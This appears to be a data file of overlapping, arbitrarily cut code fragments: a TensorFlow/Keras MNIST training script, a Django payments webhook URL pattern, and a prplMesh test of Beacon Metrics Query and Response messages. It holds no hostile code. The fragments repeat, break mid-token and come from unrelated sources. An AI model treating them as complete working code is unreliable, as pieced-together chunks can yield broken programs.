"[ layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'), layers.Dense(10) ] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001),",
"tf from tensorflow import keras from tensorflow.keras import layers from tensorflow.keras.datasets import mnist",
"physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train = x_train.reshape(-1,",
"/ 255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential API model = keras.Sequential(",
"keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'), layers.Dense(10) ] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True),",
"import os os.environ['TF_CPP_MIN_LOG_LEVEL']= '2' import tensorflow as tf from tensorflow import keras from",
"tensorflow.keras.datasets import mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test, y_test) = mnist.load_data()",
"x_train = x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential",
"os os.environ['TF_CPP_MIN_LOG_LEVEL']= '2' import tensorflow as tf from tensorflow import keras from tensorflow.keras",
"mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train =",
"as tf from tensorflow import keras from tensorflow.keras import layers from tensorflow.keras.datasets import",
"layers from tensorflow.keras.datasets import mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test, y_test)",
"255.0 #Sequential API model = keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'), layers.Dense(10)",
"mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0",
"activation = 'relu'), layers.Dense(10) ] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=[\"accuracy\"], ) model.fit(x_train,y_train,batch_size=32,epochs=5,verbose=2)",
"from tensorflow import keras from tensorflow.keras import layers from tensorflow.keras.datasets import mnist physical_devices",
"model = keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'), layers.Dense(10) ] ) model.compile(",
"API model = keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'), layers.Dense(10) ] )",
"'2' import tensorflow as tf from tensorflow import keras from tensorflow.keras import layers",
"y_test) = mnist.load_data() x_train = x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\")",
"#Sequential API model = keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation = 'relu'), layers.Dense(10) ]",
"tensorflow import keras from tensorflow.keras import layers from tensorflow.keras.datasets import mnist physical_devices =",
"= 'relu'), layers.Dense(10) ] ) model.compile( loss= keras.losses.SparseCategoricalCrossentropy(from_logits=True), optimizer=keras.optimizers.Adam(lr=0.001), metrics=[\"accuracy\"], ) model.fit(x_train,y_train,batch_size=32,epochs=5,verbose=2) model.evaluate(x_test,",
"28*28).astype(\"float32\") / 255.0 #Sequential API model = keras.Sequential( [ layers.Dense(512,activation='relu'), layers.Dense(216, activation =",
"x_train.reshape(-1, 28*28).astype(\"float32\") / 255.0 x_test = x_test.reshape(-1, 28*28).astype(\"float32\") / 255.0 #Sequential API model",
"os.environ['TF_CPP_MIN_LOG_LEVEL']= '2' import tensorflow as tf from tensorflow import keras from tensorflow.keras import",
"from tensorflow.keras.datasets import mnist physical_devices = tf.config.list_physical_devices('GPU') print(physical_devices) (x_train, y_train), (x_test, y_test) ="
] |
[
"from django.conf.urls import url import payments.views urlpatterns = [ url(r\"^webhook/$\", payments.views.webhook, name=\"webhook\"), ]"
] |
[
"Report equal to 0x03 - Operating Class in AP Channel Report equal to",
"r\"got beacon response from STA. mid:\", timeout=10) # Step 8. MAUT sends Beacon",
"send Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT sends Beacon Metrics",
"code is subject to the terms of the BSD+Patent license. # See LICENSE",
"115 - Channel List in AP Channel Report equal to 36 and 48",
"AP Channel Report equal to 115 - Channel List in AP Channel Report",
"Report equal to 36 and 48 ''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val +=",
"message was received.\") # Step 6. Verify that MAUT sends a correct Beacon",
"Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT sends Beacon Metrics Response to",
"with an associated STA responds to a Beacon Metrics Query by sending a",
"SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name) # Step 3. MAUT",
"to 0x03 - Operating Class in AP Channel Report equal to 115 -",
"import debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies that a MAUT",
"\"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac))",
"1 - Length of AP Channel Report equal to 0x03 - Operating Class",
"as ae: raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name) #",
"sends Beacon Metrics Response to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check",
"# This code is subject to the terms of the BSD+Patent license. #",
"controller.mac) debug(\"Confirming MAUT sends Beacon Metrics Response to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154)",
"is subject to the terms of the BSD+Patent license. # See LICENSE file",
"Link Metrics Query message\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA",
"7. STA responds with Beacon report time.sleep(1) self.check_log(controller, r\"got beacon response from STA.",
"Verify that MAUT sends a correct Beacon request to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\")",
"255 - BSSID field equal to wildcard (0xFFFFFFFFFFFF) - Reporting Detail equal to",
"Metrics measurement report, as it's always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac,",
"Beacon Metrics Query by sending a Beacon Report request to its associated STA,",
"# Step 3. MAUT sends Association Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send",
"STA. mid:\", timeout=10) # Step 8. MAUT sends Beacon Metrics Response to Controller",
"equal to 0x03 - Operating Class in AP Channel Report equal to 115",
"duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field equal to 115 -",
"0x00 0x01 0x03 0x73 0x24 0x30}\" debug(\"Send Beacon Metrics Query from controller to",
"import tlv from opts import debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test",
"the BSD+Patent license. # See LICENSE file for more details. ############################################################### from .prplmesh_base_test",
"SSID length field equal to 0 (SSID field missing) - Number of AP",
"of AP Channel Reports equal to 1 - Length of AP Channel Report",
"tlv from opts import debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies",
"to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller, mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA",
"154) ''' Don't check Beacon Metrics measurement report, as it's always empty https://jira.prplfoundation.org/browse/PPM-52",
"missing) - Number of AP Channel Reports equal to 1 - Length of",
"Operating Class field equal to 115 - Channel Number field equal to 255",
"to the terms of the BSD+Patent license. # See LICENSE file for more",
"0x73 0x24 0x30}\" debug(\"Send Beacon Metrics Query from controller to agent.\") mid =",
"Metrics Response to Controller beacon_resp = self.check_cmdu_type_single( \"Agent send Beacon Response to controller.\",",
"Detail equal to 2 - SSID length field equal to 0 (SSID field",
"the prplMesh contributors (see AUTHORS.md) # This code is subject to the terms",
"test verifies that a MAUT with an associated STA responds to a Beacon",
"AUTHORS.md) # This code is subject to the terms of the BSD+Patent license.",
"STA, and sending the contents of that response in a Beacon Metrics Response",
"Link Metrics Response\", 0x800E, agent.mac, controller.mac, mid) # Step 4. Send Beacon Metrics",
"0x02 0x00 0x01 0x03 0x73 0x24 0x30}\" debug(\"Send Beacon Metrics Query from controller",
"by sending a Beacon Report request to its associated STA, receiving a response",
"associated STA, receiving a response from the STA, and sending the contents of",
"agent.mac, controller.mac, mid) debug(\"Confirming ACK message was received.\") # Step 6. Verify that",
"0x03 0x73 0x24 0x30}\" debug(\"Send Beacon Metrics Query from controller to agent.\") mid",
"sends a valid Association Request frame to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller,",
"8. MAUT sends Beacon Metrics Response to Controller beacon_resp = self.check_cmdu_type_single( \"Agent send",
"debug(\"Send Associated STA Link Metrics Query message\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'],",
"# SPDX-FileCopyrightText: 2020 the prplMesh contributors (see AUTHORS.md) # This code is subject",
"report time.sleep(1) self.check_log(controller, r\"got beacon response from STA. mid:\", timeout=10) # Step 8.",
"sta = self.dev.wifi agent = self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except AttributeError as ae:",
"a 1905 ACK to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming",
"response from STA. mid:\", timeout=10) # Step 8. MAUT sends Beacon Metrics Response",
"runTest(self): # Locate test participants try: sta = self.dev.wifi agent = self.dev.DUT.agent_entity controller",
"test participants try: sta = self.dev.wifi agent = self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except",
"from .prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions import SkipTest from capi import tlv from",
"to wildcard (0xFFFFFFFFFFFF) - Reporting Detail equal to 2 - SSID length field",
"try: sta = self.dev.wifi agent = self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except AttributeError as",
"self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends a valid Association Request frame to MAUT\")",
"that MAUT sends a correct Beacon request to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming",
"MAUT sends Association Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA Link",
"mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5. Verify that MAUT",
"self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check Beacon Metrics measurement report, as it's always empty",
"STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA Link Metrics Query message\") mid = controller.ucc_socket.dev_send_1905(",
"in AP Channel Report equal to 115 - Channel List in AP Channel",
"self.check_log(controller, r\"got beacon response from STA. mid:\", timeout=10) # Step 8. MAUT sends",
"6. Verify that MAUT sends a correct Beacon request to STA. time.sleep(1) self.check_log(agent.radios[0],",
"Beacon Report request to its associated STA, receiving a response from the STA,",
"import PrplMeshBaseTest from boardfarm.exceptions import SkipTest from capi import tlv from opts import",
"sending a Beacon Report request to its associated STA, receiving a response from",
"field equal to 115 - Channel Number field equal to 255 - BSSID",
"AssociatedStaLinkMetrics to controller, mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics Response\", 0x800E,",
"+= \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03 0x73 0x24 0x30}\" debug(\"Send Beacon",
"for more details. ############################################################### from .prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions import SkipTest from",
"Query by sending a Beacon Report request to its associated STA, receiving a",
"# Step 4. Send Beacon Metrics Query to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {}",
"to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80",
"to 115 - Channel List in AP Channel Report equal to 36 and",
"Metrics Query to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0",
"terms of the BSD+Patent license. # See LICENSE file for more details. ###############################################################",
"\"-\" + self.dev.DUT.name) # Step 3. MAUT sends Association Response frame to STA",
"beacon_query_tlv_val)) # Step 5. Verify that MAUT sends a 1905 ACK to Controller.",
"a correct Beacon request to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends",
"time.sleep(1) self.check_log(controller, r\"got beacon response from STA. mid:\", timeout=10) # Step 8. MAUT",
"class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies that a MAUT with an associated STA",
"# SPDX-License-Identifier: BSD-2-Clause-Patent # SPDX-FileCopyrightText: 2020 the prplMesh contributors (see AUTHORS.md) # This",
"0x30}\" debug(\"Send Beacon Metrics Query from controller to agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac,",
"more details. ############################################################### from .prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions import SkipTest from capi",
"raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name) # Step 3.",
"Request frame to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller, mid = {}\".format(mid), timeout=20)",
"time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends a Beacon request to STA.\") #",
"self.dev.wifi agent = self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except AttributeError as ae: raise SkipTest(ae)",
"dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field",
"Step 3. MAUT sends Association Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated",
"agent.mac, controller.mac) debug(\"Confirming MAUT sends Beacon Metrics Response to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp,",
"request to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends a Beacon request",
"capi import tlv from opts import debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This",
"= self.dev.wifi agent = self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except AttributeError as ae: raise",
"op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field equal to 115",
"AttributeError as ae: raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name)",
"import SkipTest from capi import tlv from opts import debug import time class",
"AP Channel Reports equal to 1 - Length of AP Channel Report equal",
"sends Beacon Metrics Response to Controller beacon_resp = self.check_cmdu_type_single( \"Agent send Beacon Response",
"mid) # Step 4. Send Beacon Metrics Query to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED",
"ACK to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming ACK message",
"= {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics Response\", 0x800E, agent.mac, controller.mac, mid) #",
"beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03",
"response in a Beacon Metrics Response message to the Controller ''' def runTest(self):",
"Channel Number field equal to 255 - BSSID field equal to wildcard (0xFFFFFFFFFFFF)",
"responds to a Beacon Metrics Query by sending a Beacon Report request to",
"equal to 255 - BSSID field equal to wildcard (0xFFFFFFFFFFFF) - Reporting Detail",
"Controller ''' def runTest(self): # Locate test participants try: sta = self.dev.wifi agent",
"it's always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong beacon metrics",
"(SSID field missing) - Number of AP Channel Reports equal to 1 -",
"time.sleep(5) debug(\"STA sends a valid Association Request frame to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics",
"verifies that a MAUT with an associated STA responds to a Beacon Metrics",
"Beacon request to STA.\") # Step 7. STA responds with Beacon report time.sleep(1)",
"frame to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller, mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated",
"\".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03 0x73 0x24 0x30}\"",
"to its associated STA, receiving a response from the STA, and sending the",
"to Controller beacon_resp = self.check_cmdu_type_single( \"Agent send Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac,",
".prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions import SkipTest from capi import tlv from opts",
"self.check_cmdu_type_single( \"Agent send Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT sends",
"to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT sends Beacon Metrics Response to Controller.\")",
"SPDX-License-Identifier: BSD-2-Clause-Patent # SPDX-FileCopyrightText: 2020 the prplMesh contributors (see AUTHORS.md) # This code",
"to agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5. Verify",
"that MAUT sends a 1905 ACK to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac,",
"Class in AP Channel Report equal to 115 - Channel List in AP",
"self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac, mid) debug(\"Confirming ACK message was received.\") # Step 6. Verify",
"Step 8. MAUT sends Beacon Metrics Response to Controller beacon_resp = self.check_cmdu_type_single( \"Agent",
"+ self.dev.DUT.name) # Step 3. MAUT sends Association Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0])",
"measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field equal",
"rsni=10 bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field equal to 115 - Channel Number",
"field equal to 255 - BSSID field equal to wildcard (0xFFFFFFFFFFFF) - Reporting",
"Channel Report equal to 0x03 - Operating Class in AP Channel Report equal",
"- Number of AP Channel Reports equal to 1 - Length of AP",
"0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03 0x73 0x24 0x30}\" debug(\"Send Beacon Metrics Query",
"the STA, and sending the contents of that response in a Beacon Metrics",
"r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends a Beacon request to STA.\") # Step 7.",
"MAUT with an associated STA responds to a Beacon Metrics Query by sending",
"that a MAUT with an associated STA responds to a Beacon Metrics Query",
"Don't check Beacon Metrics measurement report, as it's always empty https://jira.prplfoundation.org/browse/PPM-52 ''' assert",
"Reporting Detail equal to 2 - SSID length field equal to 0 (SSID",
"= self.dev.lan.controller_entity except AttributeError as ae: raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ +",
"its associated STA, receiving a response from the STA, and sending the contents",
"MAUT sends a 1905 ACK to Controller. time.sleep(1) self.check_cmdu_type_single( \"ACK\", self.ieee1905['eMessageType']['ACK_MESSAGE'], agent.mac, controller.mac,",
"a Beacon Metrics Query by sending a Beacon Report request to its associated",
"- Operating Class in AP Channel Report equal to 115 - Channel List",
"ae: raise SkipTest(ae) sniffer = self.dev.DUT.wired_sniffer sniffer.start(self.__class__.__name__ + \"-\" + self.dev.DUT.name) # Step",
"self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller, mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics",
"agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80 rsni=10 bssid=aa:",
"= controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5. Verify that MAUT sends",
"\"Agent send Beacon Response to controller.\", self.ieee1905['eMessageType']['BEACON_METRICS_RESPONSE_MESSAGE'], agent.mac, controller.mac) debug(\"Confirming MAUT sends Beacon",
"opts import debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies that a",
"license. # See LICENSE file for more details. ############################################################### from .prplmesh_base_test import PrplMeshBaseTest",
"2020 the prplMesh contributors (see AUTHORS.md) # This code is subject to the",
"Beacon Metrics Response message to the Controller ''' def runTest(self): # Locate test",
"a Beacon request to STA.\") # Step 7. STA responds with Beacon report",
"debug(\"STA sends a valid Association Request frame to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to",
"Step 6. Verify that MAUT sends a correct Beacon request to STA. time.sleep(1)",
"# Step 6. Verify that MAUT sends a correct Beacon request to STA.",
"############################################################### from .prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions import SkipTest from capi import tlv",
"MAUT sends a correct Beacon request to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that",
"= \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03 0x73",
"equal to 115 - Channel List in AP Channel Report equal to 36",
"Associated STA Link Metrics Query message\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac))",
"Response message to the Controller ''' def runTest(self): # Locate test participants try:",
"Report request to its associated STA, receiving a response from the STA, and",
"controller, mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics Response\", 0x800E, agent.mac, controller.mac,",
"Channel Reports equal to 1 - Length of AP Channel Report equal to",
"debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies that a MAUT with",
"Reports equal to 1 - Length of AP Channel Report equal to 0x03",
"Query from controller to agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) #",
"was received.\") # Step 6. Verify that MAUT sends a correct Beacon request",
"''' def runTest(self): # Locate test participants try: sta = self.dev.wifi agent =",
"- Channel Number field equal to 255 - BSSID field equal to wildcard",
"in AP Channel Report equal to 36 and 48 ''' beacon_query_tlv_val = \"{sta_mac}",
"agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'], beacon_query_tlv_val)) # Step 5. Verify that",
"0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03 0x73 0x24 0x30}\" debug(\"Send Beacon Metrics Query from",
"from STA. mid:\", timeout=10) # Step 8. MAUT sends Beacon Metrics Response to",
"Response to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check Beacon Metrics measurement",
"48 ''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00",
"agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50 rcpi=-80 rsni=10",
"0 (SSID field missing) - Number of AP Channel Reports equal to 1",
"''' beacon_query_tlv_val = \"{sta_mac} \".format(sta_mac=sta.mac) beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01",
"beacon_query_tlv_val += \"{0x73 0xFF 0xFFFFFFFFFFFF 0x02 0x00 0x01 0x03 0x73 0x24 0x30}\" debug(\"Send",
"file for more details. ############################################################### from .prplmesh_base_test import PrplMeshBaseTest from boardfarm.exceptions import SkipTest",
"participants try: sta = self.dev.wifi agent = self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except AttributeError",
"bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field equal to 115 - Channel Number field equal",
"Metrics Query by sending a Beacon Report request to its associated STA, receiving",
"Response frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA Link Metrics Query message\")",
"field missing) - Number of AP Channel Reports equal to 1 - Length",
"Beacon Metrics Query from controller to agent.\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['BEACON_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_BEACON_METRICS_QUERY'],",
"correct Beacon request to STA. time.sleep(1) self.check_log(agent.radios[0], r\"BEACON_METRICS_QUERY\") debug(\"Confirming that MAUT sends a",
"sending the contents of that response in a Beacon Metrics Response message to",
"Association Request frame to MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller, mid = {}\".format(mid),",
"Query to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0 \\ op_class=0 duration=50",
"SkipTest from capi import tlv from opts import debug import time class BeaconReportQueryAndResponse(PrplMeshBaseTest):",
"= self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't check Beacon Metrics measurement report, as it's always",
"MAUT sends Beacon Metrics Response to Controller.\") beacon_resp_tlv = self.check_cmdu_has_tlv_single(beacon_resp, 154) ''' Don't",
"BeaconReportQueryAndResponse(PrplMeshBaseTest): ''' This test verifies that a MAUT with an associated STA responds",
"MAUT\") self.check_log(agent, \"Send AssociatedStaLinkMetrics to controller, mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link",
"to controller, mid = {}\".format(mid), timeout=20) self.check_cmdu_type_single(\"Associated STA Link Metrics Response\", 0x800E, agent.mac,",
"bssid=aa: bb:cc:11:00:10\".format(sta.mac)) '''- Operating Class field equal to 115 - Channel Number field",
"of that response in a Beacon Metrics Response message to the Controller '''",
"STA Link Metrics Response\", 0x800E, agent.mac, controller.mac, mid) # Step 4. Send Beacon",
"frame to STA sta.wifi_connect_check(agent.radios[0].vaps[0]) time.sleep(1) debug(\"Send Associated STA Link Metrics Query message\") mid",
"= self.dev.DUT.agent_entity controller = self.dev.lan.controller_entity except AttributeError as ae: raise SkipTest(ae) sniffer =",
"BSSID field equal to wildcard (0xFFFFFFFFFFFF) - Reporting Detail equal to 2 -",
"# Step 5. Verify that MAUT sends a 1905 ACK to Controller. time.sleep(1)",
"assert beacon_resp_tlv.beacon_metrics_mac_addr == sta.mac, \\ \"Wrong beacon metrics mac addr in Beacon Respond\"",
"AP Channel Report equal to 0x03 - Operating Class in AP Channel Report",
"0x24 0x30}\" debug(\"Send Beacon Metrics Query from controller to agent.\") mid = controller.ucc_socket.dev_send_1905(",
"Metrics Query message\") mid = controller.ucc_socket.dev_send_1905( agent.mac, self.ieee1905['eMessageType']['ASSOCIATED_STA_LINK_METRICS_QUERY_MESSAGE'], tlv(self.ieee1905['eTlvTypeMap']['TLV_STAMAC_ADDRESS_TYPE'], sta.mac)) time.sleep(5) debug(\"STA sends",
"Send Beacon Metrics Query to agent. agent.radios[0].send_bwl_event( \"DATA RRM-BEACON-REP-RECEIVED {} channel=1 dialog_token=0 measurement_rep_mode=0",
